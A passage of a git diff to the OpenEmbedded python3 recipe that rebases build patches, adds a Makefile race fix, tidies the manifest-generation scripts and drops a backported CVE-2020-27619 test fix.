+ with unittest.mock.patch("ctypes.util._findSoname_ldconfig", lambda *args: None), \
+ unittest.mock.patch("ctypes.util._findLib_gcc", lambda *args: None):
diff --git a/meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch b/meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch
index 35b7e0c480..c762f98307 100644
--- a/meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch
+++ b/meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch
@@ -1,4 +1,4 @@
-From b94995e0c694ec9561efec0d1a59b323340e6105 Mon Sep 17 00:00:00 2001
+From 46856e692377d21be3562f6f90c242f5c9594ae2 Mon Sep 17 00:00:00 2001
From: Mingli Yu <mingli.yu@windriver.com>
Date: Mon, 5 Aug 2019 15:57:39 +0800
Subject: [PATCH] test_locale.py: correct the test output format
@@ -23,24 +23,24 @@ Before this patch:
Upstream-Status: Submitted [https://github.com/python/cpython/pull/15132]
+Rebased for 3.9.4, still not accepted upstream Signed-off-by: Alejandro Hernandez <alejandro@enedino.org>
+
Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+
---
Lib/test/test_locale.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/Lib/test/test_locale.py b/Lib/test/test_locale.py
-index e2c2178..558d63c 100644
+index f844e62..04df0c2 100644
--- a/Lib/test/test_locale.py
+++ b/Lib/test/test_locale.py
-@@ -527,7 +527,7 @@ class TestMiscellaneous(unittest.TestCase):
+@@ -564,7 +564,7 @@ class TestMiscellaneous(unittest.TestCase):
self.skipTest('test needs Turkish locale')
loc = locale.getlocale(locale.LC_CTYPE)
if verbose:
- print('testing with %a' % (loc,), end=' ', flush=True)
+ print('testing with %a...' % (loc,), end=' ', flush=True)
- locale.setlocale(locale.LC_CTYPE, loc)
- self.assertEqual(loc, locale.getlocale(locale.LC_CTYPE))
-
---
-2.7.4
-
+ try:
+ locale.setlocale(locale.LC_CTYPE, loc)
+ except locale.Error as exc:
diff --git a/meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch b/meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch
index 5c620361da..0ead57e465 100644
--- a/meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch
+++ b/meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch
@@ -1,4 +1,4 @@
-From a2dd127b4163aff6cc35af0d0251321964232ad4 Mon Sep 17 00:00:00 2001
+From 246c5ffe75a2d494e415d8a7522df9fe22056d41 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 7 Oct 2019 13:22:14 +0200
Subject: [PATCH] setup.py: do not report missing dependencies for disabled
@@ -10,22 +10,28 @@ build completeness checker which relies on the report.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+Signed-off-by: Alejandro Hernandez Samaniego <alejandro@enedino.org>
---
- setup.py | 4 ++++
- 1 file changed, 4 insertions(+)
+ setup.py | 8 ++++++++
+ 1 file changed, 8 insertions(+)
diff --git a/setup.py b/setup.py
-index 7691258..ec3f2a4 100644
+index 2be4738..62f0e18 100644
--- a/setup.py
+++ b/setup.py
-@@ -408,6 +408,10 @@ class PyBuildExt(build_ext):
+@@ -517,6 +517,14 @@ class PyBuildExt(build_ext):
print("%-*s %-*s %-*s" % (longest, e, longest, f,
longest, g))
+ # There is no need to report missing module dependencies,
+ # if the modules have been disabled in the first place.
-+ self.missing = list(set(self.missing) - set(mods_disabled))
++ # cannot use mods_disabled here, because remove_configured_extensions adds
++ # only disabled extensions into it (doesn't cover _dbm, _gdbm, readline
++ # we support disabling through PACKAGECONFIG)
++ sysconf_dis = sysconfig.get_config_var('MODDISABLED_NAMES').split()
++ self.missing = list(set(self.missing) - set(sysconf_dis))
+
if self.missing:
print()
diff --git a/meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch b/meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch
index e04a91605c..30d2906439 100644
--- a/meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch
+++ b/meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch
@@ -1,4 +1,4 @@
-From 863c09f640a5dfd33ff22915b0d5fee7bc5df70a Mon Sep 17 00:00:00 2001
+From 788cd0464ee2b175493a0167ceee8c0045ce323c Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Sun, 16 Feb 2020 17:50:25 +0100
Subject: [PATCH] configure.ac, setup.py: do not add a curses include path from
@@ -11,16 +11,17 @@ as dnf failures).
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
configure.ac | 6 ------
setup.py | 2 --
2 files changed, 8 deletions(-)
diff --git a/configure.ac b/configure.ac
-index 915f475..c911011 100644
+index e5e3df8..bfdd987 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -4828,12 +4828,6 @@ then
+@@ -5092,12 +5092,6 @@ then
[Define if you have struct stat.st_mtimensec])
fi
@@ -34,10 +35,10 @@ index 915f475..c911011 100644
# On Solaris, term.h requires curses.h
diff --git a/setup.py b/setup.py
-index b0f1541..7208cd0 100644
+index 62f0e18..c190002 100644
--- a/setup.py
+++ b/setup.py
-@@ -973,8 +973,6 @@ class PyBuildExt(build_ext):
+@@ -1169,8 +1169,6 @@ class PyBuildExt(build_ext):
panel_library = 'panel'
if curses_library == 'ncursesw':
curses_defines.append(('HAVE_NCURSESW', '1'))
diff --git a/meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch b/meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch
index 5a39cf8933..bb2984cc71 100644
--- a/meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch
+++ b/meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch
@@ -1,7 +1,7 @@
-From c52fa7948ef109db1132fdc1aee0b68f8d767b4e Mon Sep 17 00:00:00 2001
+From 99cfdb5f3debd38f50b73a7713161f8b56ce842e Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Tue, 14 May 2013 15:00:26 -0700
-Subject: [PATCH 1/2] python3: Add target and native recipes
+Subject: [PATCH] python3: Add target and native recipes
Upstream-Status: Inappropriate [embedded specific]
@@ -12,15 +12,16 @@ Signed-Off: Michael 'Mickey' Lauer <mickey@vanille-media.de>
Signed-off-by: Phil Blundell <philb@gnu.org>
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Alejandro Hernandez <alejandro.hernandez@linux.intel.com>
+
---
Lib/distutils/sysconfig.py | 14 +++++++++++---
1 file changed, 11 insertions(+), 3 deletions(-)
diff --git a/Lib/distutils/sysconfig.py b/Lib/distutils/sysconfig.py
-index 4774e12..ccf7d58 100644
+index 3414a76..361d3a1 100644
--- a/Lib/distutils/sysconfig.py
+++ b/Lib/distutils/sysconfig.py
-@@ -95,7 +95,9 @@ def get_python_inc(plat_specific=0, prefix=None):
+@@ -277,7 +277,9 @@ def get_python_inc(plat_specific=0, prefix=None):
If 'prefix' is supplied, use it instead of sys.base_prefix or
sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
"""
@@ -31,7 +32,7 @@ index 4774e12..ccf7d58 100644
prefix = plat_specific and BASE_EXEC_PREFIX or BASE_PREFIX
if os.name == "posix":
if python_build:
-@@ -138,7 +140,13 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
+@@ -320,7 +322,13 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
If 'prefix' is supplied, use it instead of sys.base_prefix or
sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
"""
@@ -46,7 +47,7 @@ index 4774e12..ccf7d58 100644
if standard_lib:
prefix = plat_specific and BASE_EXEC_PREFIX or BASE_PREFIX
else:
-@@ -152,7 +160,7 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
+@@ -334,7 +342,7 @@ def get_python_lib(plat_specific=0, standard_lib=0, prefix=None):
else:
# Pure Python
libdir = "lib"
@@ -55,6 +56,3 @@ index 4774e12..ccf7d58 100644
"python" + get_python_version())
if standard_lib:
return libpython
---
-2.24.0
-
diff --git a/meta/recipes-devtools/python/python3/CVE-2020-27619.patch b/meta/recipes-devtools/python/python3/CVE-2020-27619.patch
deleted file mode 100644
index b2053e7a47..0000000000
--- a/meta/recipes-devtools/python/python3/CVE-2020-27619.patch
+++ /dev/null
@@ -1,69 +0,0 @@
-From b664a1df4ee71d3760ab937653b10997081b1794 Mon Sep 17 00:00:00 2001
-From: "Miss Skeleton (bot)" <31488909+miss-islington@users.noreply.github.com>
-Date: Tue, 6 Oct 2020 05:37:36 -0700
-Subject: [PATCH] bpo-41944: No longer call eval() on content received via HTTP
- in the CJK codec tests (GH-22566)
-
-(cherry picked from commit 2ef5caa58febc8968e670e39e3d37cf8eef3cab8)
-
-Co-authored-by: Serhiy Storchaka <storchaka@gmail.com>
-
-Upstream-Status: Backport [https://github.com/python/cpython/commit/b664a1df4ee71d3760ab937653b10997081b1794]
-CVE: CVE-2020-27619
-Signed-off-by: Chee Yang Lee <chee.yang.lee@intel.com>
-
----
- Lib/test/multibytecodec_support.py | 22 +++++++------------
- .../2020-10-05-17-43-46.bpo-41944.rf1dYb.rst | 1 +
- 2 files changed, 9 insertions(+), 14 deletions(-)
- create mode 100644 Misc/NEWS.d/next/Tests/2020-10-05-17-43-46.bpo-41944.rf1dYb.rst
-
-diff --git a/Lib/test/multibytecodec_support.py b/Lib/test/multibytecodec_support.py
-index cca8af67d6d1d..f76c0153f5ecf 100644
---- a/Lib/test/multibytecodec_support.py
-+++ b/Lib/test/multibytecodec_support.py
-@@ -305,29 +305,23 @@ def test_mapping_file(self):
- self._test_mapping_file_plain()
-
- def _test_mapping_file_plain(self):
-- unichrs = lambda s: ''.join(map(chr, map(eval, s.split('+'))))
-+ def unichrs(s):
-+ return ''.join(chr(int(x, 16)) for x in s.split('+'))
-+
- urt_wa = {}
-
- with self.open_mapping_file() as f:
- for line in f:
- if not line:
- break
-- data = line.split('#')[0].strip().split()
-+ data = line.split('#')[0].split()
- if len(data) != 2:
- continue
-
-- csetval = eval(data[0])
-- if csetval <= 0x7F:
-- csetch = bytes([csetval & 0xff])
-- elif csetval >= 0x1000000:
-- csetch = bytes([(csetval >> 24), ((csetval >> 16) & 0xff),
-- ((csetval >> 8) & 0xff), (csetval & 0xff)])
-- elif csetval >= 0x10000:
-- csetch = bytes([(csetval >> 16), ((csetval >> 8) & 0xff),
-- (csetval & 0xff)])
-- elif csetval >= 0x100:
-- csetch = bytes([(csetval >> 8), (csetval & 0xff)])
-- else:
-+ if data[0][:2] != '0x':
-+ self.fail(f"Invalid line: {line!r}")
-+ csetch = bytes.fromhex(data[0][2:])
-+ if len(csetch) == 1 and 0x80 <= csetch[0]:
- continue
-
- unich = unichrs(data[1])
-diff --git a/Misc/NEWS.d/next/Tests/2020-10-05-17-43-46.bpo-41944.rf1dYb.rst b/Misc/NEWS.d/next/Tests/2020-10-05-17-43-46.bpo-41944.rf1dYb.rst
-new file mode 100644
-index 0000000000000..4f9782f1c85af
---- /dev/null
-+++ b/Misc/NEWS.d/next/Tests/2020-10-05-17-43-46.bpo-41944.rf1dYb.rst
-@@ -0,0 +1 @@
-+Tests for CJK codecs no longer call ``eval()`` on content received via HTTP.
diff --git a/meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch b/meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch
index 184540e794..2de72b7199 100644
--- a/meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch
+++ b/meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch
@@ -1,4 +1,4 @@
-From ba7202700578d435b07cfdfb7b57e83185752800 Mon Sep 17 00:00:00 2001
+From 6a23d52c905cd1f6a5944255903ec86ea8b904bb Mon Sep 17 00:00:00 2001
From: Andrei Gherzan <andrei@gherzan.ro>
Date: Mon, 28 Jan 2019 15:57:54 +0000
Subject: [PATCH] _tkinter module needs tk module along with tcl. tk is not yet
@@ -15,10 +15,10 @@ Signed-off-by: Andrei Gherzan <andrei@gherzan.ro>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/setup.py b/setup.py
-index ab18ff0..7691258 100644
+index 11b5cf5..2be4738 100644
--- a/setup.py
+++ b/setup.py
-@@ -1706,8 +1706,8 @@ class PyBuildExt(build_ext):
+@@ -1895,8 +1895,8 @@ class PyBuildExt(build_ext):
self.detect_decimal()
self.detect_ctypes()
self.detect_multiprocessing()
diff --git a/meta/recipes-devtools/python/python3/cgi_py.patch b/meta/recipes-devtools/python/python3/cgi_py.patch
index 6c4ba54320..81e6099cfb 100644
--- a/meta/recipes-devtools/python/python3/cgi_py.patch
+++ b/meta/recipes-devtools/python/python3/cgi_py.patch
@@ -1,4 +1,4 @@
-From 62336285cba38017b35cb761c03f0c7e80a671a3 Mon Sep 17 00:00:00 2001
+From 5b0d1212d661e9a8a36738279fc9109f96eebd25 Mon Sep 17 00:00:00 2001
From: Mark Hatle <mark.hatle@windriver.com>
Date: Wed, 21 Sep 2011 20:55:33 -0500
Subject: [PATCH] Lib/cgi.py: Update the script as mentioned in the comment
@@ -12,7 +12,7 @@ Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
1 file changed, 1 insertion(+), 10 deletions(-)
diff --git a/Lib/cgi.py b/Lib/cgi.py
-index 8cf6687..094c7b4 100755
+index 6cb8cf2..a873ff3 100755
--- a/Lib/cgi.py
+++ b/Lib/cgi.py
@@ -1,13 +1,4 @@
diff --git a/meta/recipes-devtools/python/python3/create_manifest3.py b/meta/recipes-devtools/python/python3/create_manifest3.py
index 4da02a2991..045240ea0b 100644
--- a/meta/recipes-devtools/python/python3/create_manifest3.py
+++ b/meta/recipes-devtools/python/python3/create_manifest3.py
@@ -36,7 +36,7 @@
# Tha method to handle cached files does not work when a module includes a folder which
# itself contains the pycache folder, gladly this is almost never the case.
#
-# Author: Alejandro Enedino Hernandez Samaniego "aehs29" <aehs29 at gmail dot com>
+# Author: Alejandro Enedino Hernandez Samaniego <alejandro at enedino dot org>
import sys
@@ -45,6 +45,11 @@ import json
import os
import collections
+if '-d' in sys.argv:
+ debugFlag = '-d'
+else:
+ debugFlag = ''
+
# Get python version from ${PYTHON_MAJMIN}
pyversion = str(sys.argv[1])
@@ -84,6 +89,12 @@ def prepend_comments(comments, json_manifest):
manifest.seek(0, 0)
manifest.write(comments + json_contents)
+def print_indent(msg, offset):
+ for l in msg.splitlines():
+ msg = ' ' * offset + l
+ print(msg)
+
+
# Read existing JSON manifest
with open('python3-manifest.json') as manifest:
# The JSON format doesn't allow comments so we hack the call to keep the comments using a marker
@@ -99,7 +110,7 @@ with open('python3-manifest.json') as manifest:
# Not exactly the same so it should not be a function
#
-print ('Getting dependencies for package: core')
+print_indent('Getting dependencies for package: core', 0)
# This special call gets the core dependencies and
@@ -109,7 +120,7 @@ print ('Getting dependencies for package: core')
# on the new core package, they will still find them
# even when checking the old_manifest
-output = subprocess.check_output([sys.executable, 'get_module_deps3.py', 'python-core-package']).decode('utf8')
+output = subprocess.check_output([sys.executable, 'get_module_deps3.py', 'python-core-package', '%s' % debugFlag]).decode('utf8')
for coredep in output.split():
coredep = coredep.replace(pyversion,'${PYTHON_MAJMIN}')
if isCached(coredep):
@@ -149,17 +160,16 @@ for filedep in old_manifest['core']['files']:
# Get actual module name , shouldnt be affected by libdir/bindir, etc.
pymodule = os.path.splitext(os.path.basename(os.path.normpath(filedep)))[0]
-
# We now know that were dealing with a python module, so we can import it
# and check what its dependencies are.
# We launch a separate task for each module for deterministic behavior.
# Each module will only import what is necessary for it to work in specific.
# The output of each task will contain each module's dependencies
- print ('Getting dependencies for module: %s' % pymodule)
- output = subprocess.check_output([sys.executable, 'get_module_deps3.py', '%s' % pymodule]).decode('utf8')
- print ('The following dependencies were found for module %s:\n' % pymodule)
- print (output)
+ print_indent('Getting dependencies for module: %s' % pymodule, 2)
+ output = subprocess.check_output([sys.executable, 'get_module_deps3.py', '%s' % pymodule, '%s' % debugFlag]).decode('utf8')
+ print_indent('The following dependencies were found for module %s:\n' % pymodule, 4)
+ print_indent(output, 6)
for pymodule_dep in output.split():
@@ -178,12 +188,13 @@ for filedep in old_manifest['core']['files']:
# all others will use this a base.
+print('\n\nChecking for directories...\n')
# To improve the script speed, we check which packages contain directories
# since we will be looping through (only) those later.
for pypkg in old_manifest:
for filedep in old_manifest[pypkg]['files']:
if isFolder(filedep):
- print ('%s is a folder' % filedep)
+ print_indent('%s is a directory' % filedep, 2)
if pypkg not in hasfolders:
hasfolders.append(pypkg)
if filedep not in allfolders:
@@ -221,14 +232,14 @@ for pypkg in old_manifest:
print('\n')
print('--------------------------')
- print ('Handling package %s' % pypkg)
+ print('Handling package %s' % pypkg)
print('--------------------------')
# Handle special cases, we assume that when they were manually added
# to the manifest we knew what we were doing.
special_packages = ['misc', 'modules', 'dev', 'tests']
if pypkg in special_packages or 'staticdev' in pypkg:
- print('Passing %s package directly' % pypkg)
+ print_indent('Passing %s package directly' % pypkg, 2)
new_manifest[pypkg] = old_manifest[pypkg]
continue
@@ -259,7 +270,7 @@ for pypkg in old_manifest:
# Get actual module name , shouldnt be affected by libdir/bindir, etc.
# We need to check if the imported module comes from another (e.g. sqlite3.dump)
- path,pymodule = os.path.split(filedep)
+ path, pymodule = os.path.split(filedep)
path = os.path.basename(path)
pymodule = os.path.splitext(os.path.basename(pymodule))[0]
@@ -279,10 +290,10 @@ for pypkg in old_manifest:
# Each module will only import what is necessary for it to work in specific.
# The output of each task will contain each module's dependencies
- print ('\nGetting dependencies for module: %s' % pymodule)
- output = subprocess.check_output([sys.executable, 'get_module_deps3.py', '%s' % pymodule]).decode('utf8')
- print ('The following dependencies were found for module %s:\n' % pymodule)
- print (output)
+ print_indent('\nGetting dependencies for module: %s' % pymodule, 2)
+ output = subprocess.check_output([sys.executable, 'get_module_deps3.py', '%s' % pymodule, '%s' % debugFlag]).decode('utf8')
+ print_indent('The following dependencies were found for module %s:\n' % pymodule, 4)
+ print_indent(output, 6)
reportFILES = []
reportRDEPS = []
@@ -325,7 +336,7 @@ for pypkg in old_manifest:
# print('Checking folder %s on package %s' % (pymodule_dep,pypkg_with_folder))
for folder_dep in old_manifest[pypkg_with_folder]['files'] or folder_dep in old_manifest[pypkg_with_folder]['cached']:
if folder_dep == folder:
- print ('%s folder found in %s' % (folder, pypkg_with_folder))
+ print ('%s directory found in %s' % (folder, pypkg_with_folder))
folderFound = True
if pypkg_with_folder not in new_manifest[pypkg]['rdepends'] and pypkg_with_folder != pypkg:
new_manifest[pypkg]['rdepends'].append(pypkg_with_folder)
@@ -424,7 +435,7 @@ prepend_comments(comments,'python3-manifest.json.new')
if (repeated):
error_msg = '\n\nERROR:\n'
- error_msg += 'The following files are repeated (contained in more than one package),\n'
+ error_msg += 'The following files were found in more than one package),\n'
error_msg += 'this is likely to happen when new files are introduced after an upgrade,\n'
error_msg += 'please check which package should get it,\n modify the manifest accordingly and re-run the create_manifest task:\n'
error_msg += '\n'.join(repeated)
diff --git a/meta/recipes-devtools/python/python3/crosspythonpath.patch b/meta/recipes-devtools/python/python3/crosspythonpath.patch
index d789ab57d4..5bb25264da 100644
--- a/meta/recipes-devtools/python/python3/crosspythonpath.patch
+++ b/meta/recipes-devtools/python/python3/crosspythonpath.patch
@@ -1,4 +1,8 @@
-configure.ac: add CROSSPYTHONPATH into PYTHONPATH for PYTHON_FOR_BUILD
+From baa3a232e64e9bf5ae945366efdb8088ccf9b828 Mon Sep 17 00:00:00 2001
+From: Ricardo Ribalda <ricardo@ribalda.com>
+Date: Tue, 18 Nov 2014 03:35:33 -0500
+Subject: [PATCH] configure.ac: add CROSSPYTHONPATH into PYTHONPATH for
+ PYTHON_FOR_BUILD
When building x86->x86 the system will try to execute .so and related items
from the default PYTHONPATH. This will fail if the target CPU contains
@@ -10,11 +14,16 @@ Upstream-Status: Inappropriate [OE-Core integration specific]
Credits-to: Mark Hatle <mark.hatle@windriver.com>
Credits-to: Jackie Huang <jackie.huang@windriver.com>
Signed-off-by: Ricardo Ribalda <ricardo@ribalda.com>
+
+---
+ configure.ac | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
diff --git a/configure.ac b/configure.ac
-index 4ab19a6..7036a53 100644
+index d0db062..e5e3df8 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -76,7 +76,7 @@ if test "$cross_compiling" = yes; then
+@@ -83,7 +83,7 @@ if test "$cross_compiling" = yes; then
AC_MSG_ERROR([python$PACKAGE_VERSION interpreter not found])
fi
AC_MSG_RESULT($interp)
diff --git a/meta/recipes-devtools/python/python3/get_module_deps3.py b/meta/recipes-devtools/python/python3/get_module_deps3.py
index 6806f23172..1f4c982aed 100644
--- a/meta/recipes-devtools/python/python3/get_module_deps3.py
+++ b/meta/recipes-devtools/python/python3/get_module_deps3.py
@@ -3,14 +3,18 @@
# them out, the output of this execution will have all dependencies
# for a specific module, which will be parsed an dealt on create_manifest.py
#
-# Author: Alejandro Enedino Hernandez Samaniego "aehs29" <aehs29@gmail.com>
+# Author: Alejandro Enedino Hernandez Samaniego <alejandro at enedino dot org>
-# We can get a log per module, for all the dependencies that were found, but its messy.
-debug=False
import sys
import os
+# We can get a log per module, for all the dependencies that were found, but its messy.
+if '-d' in sys.argv:
+ debug = True
+else:
+ debug = False
+
# We can get a list of the modules which are currently required to run python
# so we run python-core and get its modules, we then import what we need
# and check what modules are currently running, if we substract them from the
@@ -19,13 +23,13 @@ import os
# We use importlib to achieve this, so we also need to know what modules importlib needs
import importlib
-core_deps=set(sys.modules)
+core_deps = set(sys.modules)
def fix_path(dep_path):
import os
# We DONT want the path on our HOST system
- pivot='recipe-sysroot-native'
- dep_path=dep_path[dep_path.find(pivot)+len(pivot):]
+ pivot = 'recipe-sysroot-native'
+ dep_path = dep_path[dep_path.find(pivot)+len(pivot):]
if '/usr/bin' in dep_path:
dep_path = dep_path.replace('/usr/bin''${bindir}')
@@ -46,8 +50,8 @@ def fix_path(dep_path):
# Module to import was passed as an argument
current_module = str(sys.argv[1]).rstrip()
-if(debug==True):
- log = open('log_%s' % current_module,'w')
+if debug == True:
+ log = open('temp/log_%s' % current_module.strip('.*'),'w')
log.write('Module %s generated the following dependencies:\n' % current_module)
try:
m = importlib.import_module(current_module)
@@ -63,13 +67,13 @@ try:
except:
pass # ignore all import or other exceptions raised during import
except ImportError as e:
- if (debug==True):
- log.write('Module was not found')
+ if debug == True:
+ log.write('Module was not found\n')
pass
# Get current module dependencies, dif will contain a list of specific deps for this module
-module_deps=set(sys.modules)
+module_deps = set(sys.modules)
# We handle the core package (1st pass on create_manifest.py) as a special case
if current_module == 'python-core-package':
@@ -81,14 +85,18 @@ else:
# Check where each dependency came from
for item in dif:
- dep_path=''
+ # Main module returns script filename, __main matches mp_main__ as well
+ if 'main__' in item:
+ continue
+
+ dep_path = ''
try:
- if (debug==True):
- log.write('Calling: sys.modules[' + '%s' % item + '].__file__\n')
+ if debug == True:
+ log.write('\nCalling: sys.modules[' + '%s' % item + '].__file__\n')
dep_path = sys.modules['%s' % item].__file__
except AttributeError as e:
# Deals with thread (builtin module) not having __file__ attribute
- if debug==True:
+ if debug == True:
log.write(item + ' ')
log.write(str(e))
log.write('\n')
@@ -96,11 +104,16 @@ for item in dif:
except NameError as e:
# Deals with NameError: name 'dep_path' is not defined
# because module is not found (wasn't compiled?), e.g. bddsm
- if (debug==True):
+ if debug == True:
log.write(item+' ')
log.write(str(e))
pass
+ if dep_path == '':
+ continue
+ if debug == True:
+ log.write('Dependency path found:\n%s\n' % dep_path)
+
# Site-customize is a special case since we (OpenEmbedded) put it there manually
if 'sitecustomize' in dep_path:
dep_path = '${libdir}/python${PYTHON_MAJMIN}/sitecustomize.py'
@@ -111,52 +124,51 @@ for item in dif:
dep_path = fix_path(dep_path)
import sysconfig
- soabi=sysconfig.get_config_var('SOABI')
+ soabi = sysconfig.get_config_var('SOABI')
# Check if its a shared library and deconstruct it
if soabi in dep_path:
- if (debug==True):
- log.write('Shared library found in %s' % dep_path)
+ if debug == True:
+ log.write('Shared library found in %s\n' % dep_path)
dep_path = dep_path.replace(soabi,'*')
print (dep_path)
continue
if "_sysconfigdata" in dep_path:
dep_path = dep_path.replace(sysconfig._get_sysconfigdata_name(), "_sysconfigdata*")
- if (debug==True):
+ if debug == True:
log.write(dep_path+'\n')
# Prints out result, which is what will be used by create_manifest
print (dep_path)
- import imp
- cpython_tag = imp.get_tag()
- cached=''
+ cpython_tag = sys.implementation.cache_tag
+ cached = ''
# Theres no naive way to find *.pyc files on python3
try:
- if (debug==True):
- log.write('Calling: sys.modules[' + '%s' % item + '].__cached__\n')
+ if debug == True:
+ log.write('\nCalling: sys.modules[' + '%s' % item + '].__cached__\n')
cached = sys.modules['%s' % item].__cached__
except AttributeError as e:
# Deals with thread (builtin module) not having __cached__ attribute
- if debug==True:
+ if debug == True:
log.write(item + ' ')
log.write(str(e))
log.write('\n')
pass
except NameError as e:
# Deals with NameError: name 'cached' is not defined
- if (debug==True):
+ if debug == True:
log.write(item+' ')
log.write(str(e))
pass
if cached is not None:
- if (debug==True):
- log.write(cached)
+ if debug == True:
+ log.write(cached + '\n')
cached = fix_path(cached)
cached = cached.replace(cpython_tag,'*')
if "_sysconfigdata" in cached:
cached = cached.replace(sysconfig._get_sysconfigdata_name(), "_sysconfigdata*")
print (cached)
-if debug==True:
+if debug == True:
log.close()
diff --git a/meta/recipes-devtools/python/python3/makerace.patch b/meta/recipes-devtools/python/python3/makerace.patch
new file mode 100644
index 0000000000..2c06784ffc
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/makerace.patch
@@ -0,0 +1,32 @@
+From 7cc02dfa593d1350a689d64a7a6f2dc6478afe24 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 13 Jul 2021 23:19:29 +0100
+Subject: [PATCH] python3: Fix make race
+
+libainstall installs python-config.py but the .pyc cache files are generated
+by the libinstall target. This means some builds may not generate the pyc files
+for python-config.py depending on the order things happen in. This means builds
+are not always reproducible.
+
+Add a dependency to avoid the race.
+
+Upstream-Status: Pending
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+---
+ Makefile.pre.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile.pre.in b/Makefile.pre.in
+index 5e13ba2..026bffd 100644
+--- a/Makefile.pre.in
++++ b/Makefile.pre.in
+@@ -1527,7 +1527,7 @@ TESTSUBDIRS= ctypes/test \
+ unittest/test unittest/test/testmock
+
+ TEST_MODULES=@TEST_MODULES@
+-libinstall: build_all $(srcdir)/Modules/xxmodule.c
++libinstall: build_all $(srcdir)/Modules/xxmodule.c libainstall
+ @for i in $(SCRIPTDIR) $(LIBDEST); \
+ do \
+ if test ! -d $(DESTDIR)$$i; then \
diff --git a/meta/recipes-devtools/python/python3/python-config.patch b/meta/recipes-devtools/python/python3/python-config.patch
index d0ddbbc7fd..4da399e46e 100644
--- a/meta/recipes-devtools/python/python3/python-config.patch
+++ b/meta/recipes-devtools/python/python3/python-config.patch
@@ -1,4 +1,4 @@
-From 57d073c12e7bede29919117b0141df14015eb27f Mon Sep 17 00:00:00 2001
+From 8632f25ac4e2c53a3c2c8a1b4fc97fc86e8aad5a Mon Sep 17 00:00:00 2001
From: Tyler Hall <tylerwhall@gmail.com>
Date: Sun, 4 May 2014 20:06:43 -0400
Subject: [PATCH] python-config: Revert to using distutils.sysconfig
@@ -14,26 +14,27 @@ as appropriate.
Upstream-Status: Inappropriate [Embedded Specific]
Signed-off-by: Tyler Hall <tylerwhall@gmail.com>
-:
---
- Misc/python-config.in | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
+ Misc/python-config.in | 12 +++++++-----
+ 1 file changed, 7 insertions(+), 5 deletions(-)
diff --git a/Misc/python-config.in b/Misc/python-config.in
-index ebd99da..13e57ae 100644
+index ebd99da..0492e08 100644
--- a/Misc/python-config.in
+++ b/Misc/python-config.in
-@@ -6,7 +6,7 @@
+@@ -6,7 +6,9 @@
import getopt
import os
import sys
-import sysconfig
++import warnings
++warnings.filterwarnings("ignore", category=DeprecationWarning)
+from distutils import sysconfig
valid_opts = ['prefix', 'exec-prefix', 'includes', 'libs', 'cflags',
'ldflags', 'extension-suffix', 'help', 'abiflags', 'configdir',
-@@ -35,14 +35,14 @@ if '--help' in opt_flags:
+@@ -35,14 +37,14 @@ if '--help' in opt_flags:
for opt in opt_flags:
if opt == '--prefix':
diff --git a/meta/recipes-devtools/python/python3/python3-manifest.json b/meta/recipes-devtools/python/python3/python3-manifest.json
index 615dc3a5e5..2f5dad6486 100644
--- a/meta/recipes-devtools/python/python3/python3-manifest.json
+++ b/meta/recipes-devtools/python/python3/python3-manifest.json
@@ -814,6 +814,7 @@
"shell",
"smtpd",
"sqlite3",
+ "statistics",
"stringold",
"syslog",
"terminal",
@@ -979,7 +980,8 @@
"pprint": {
"summary": "Python pretty-print support",
"rdepends": [
- "core"
+ "core",
+ "profile"
],
"files": [
"${libdir}/python${PYTHON_MAJMIN}/pprint.py"
@@ -1085,6 +1087,20 @@
],
